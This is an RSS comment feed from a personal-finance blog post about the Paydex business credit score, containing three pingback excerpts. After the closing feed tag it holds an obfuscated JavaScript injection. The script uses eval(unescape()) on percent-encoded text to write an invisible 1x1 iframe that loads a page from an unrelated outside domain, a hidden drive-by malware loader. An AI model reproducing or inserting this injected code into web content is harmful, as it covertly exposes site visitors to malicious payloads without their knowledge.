<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Paydex Score: Your Business Credit Score</title>
	<atom:link href="http://www.mycardblog.com/2008/08/paydex-score-your-business-credit-score/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mycardblog.com/2008/08/paydex-score-your-business-credit-score/</link>
	<description>Bring you the best in personal finance</description>
	<lastBuildDate>Thu, 11 Mar 2010 22:30:41 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Online Information Info &#187; Blog Archive &#187; Paydex Score: Your Business Credit Score</title>
		<link>http://www.mycardblog.com/2008/08/paydex-score-your-business-credit-score/comment-page-1/#comment-8723</link>
		<dc:creator>Online Information Info &#187; Blog Archive &#187; Paydex Score: Your Business Credit Score</dc:creator>
		<pubDate>Sun, 17 Aug 2008 03:32:03 +0000</pubDate>
		<guid isPermaLink="false">http://www.mycardblog.com/?p=948#comment-8723</guid>
		<description>[...] Here&#8217;s an interesting post I found today.Have a look for your self, Here&#8217;s an excerpt, please read the full story at the blogD&amp;B’s unique dollar-weighted numerical indicator of how a firm paid its bills over the past year, based on trade experiences reported to D&amp;B by various vendors. The D&amp;B Paydex score ranges from 1 to 100, with higher scores indicating &#8230; [...]</description>
		<content:encoded><![CDATA[<p>[...] Here&#8217;s an interesting post I found today.Have a look for your self, Here&#8217;s an excerpt, please read the full story at the blogD&#38;B’s unique dollar-weighted numerical indicator of how a firm paid its bills over the past year, based on trade experiences reported to D&#38;B by various vendors. The D&#38;B Paydex score ranges from 1 to 100, with higher scores indicating &#8230; [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Credit Crunch &#187; Paydex Score: Your Business Credit Score</title>
		<link>http://www.mycardblog.com/2008/08/paydex-score-your-business-credit-score/comment-page-1/#comment-8721</link>
		<dc:creator>Credit Crunch &#187; Paydex Score: Your Business Credit Score</dc:creator>
		<pubDate>Fri, 15 Aug 2008 12:29:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.mycardblog.com/?p=948#comment-8721</guid>
		<description>[...] Finance Articles wrote an interesting post today onHere&#8217;s a quick excerpt We all know that a credit card issuer will look at your credit score, usually referred as the FICO score, before issuing you a credit card. Actually, business lenders use a similar approach or credit scoring system to determine your business credit performance and decide whether or not to give you credit. Although there are many business credit reporting agencies entered in the market in the past decade, including Experian, the Paydex score from Dun &amp; Bradstreet remains the primary source [...]</description>
		<content:encoded><![CDATA[<p>[...] Finance Articles wrote an interesting post today onHere&#8217;s a quick excerpt We all know that a credit card issuer will look at your credit score, usually referred as the FICO score, before issuing you a credit card. Actually, business lenders use a similar approach or credit scoring system to determine your business credit performance and decide whether or not to give you credit. Although there are many business credit reporting agencies entered in the market in the past decade, including Experian, the Paydex score from Dun &#38; Bradstreet remains the primary source [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Paydex Score: Your Business Credit Score &#124; Free Credit Report Information</title>
		<link>http://www.mycardblog.com/2008/08/paydex-score-your-business-credit-score/comment-page-1/#comment-8720</link>
		<dc:creator>Paydex Score: Your Business Credit Score &#124; Free Credit Report Information</dc:creator>
		<pubDate>Fri, 15 Aug 2008 12:22:13 +0000</pubDate>
		<guid isPermaLink="false">http://www.mycardblog.com/?p=948#comment-8720</guid>
		<description>[...] David added an interesting post today on Paydex Score: Your Business Credit Score [...]</description>
		<content:encoded><![CDATA[<p>[...] David added an interesting post today on Paydex Score: Your Business Credit Score [...]</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>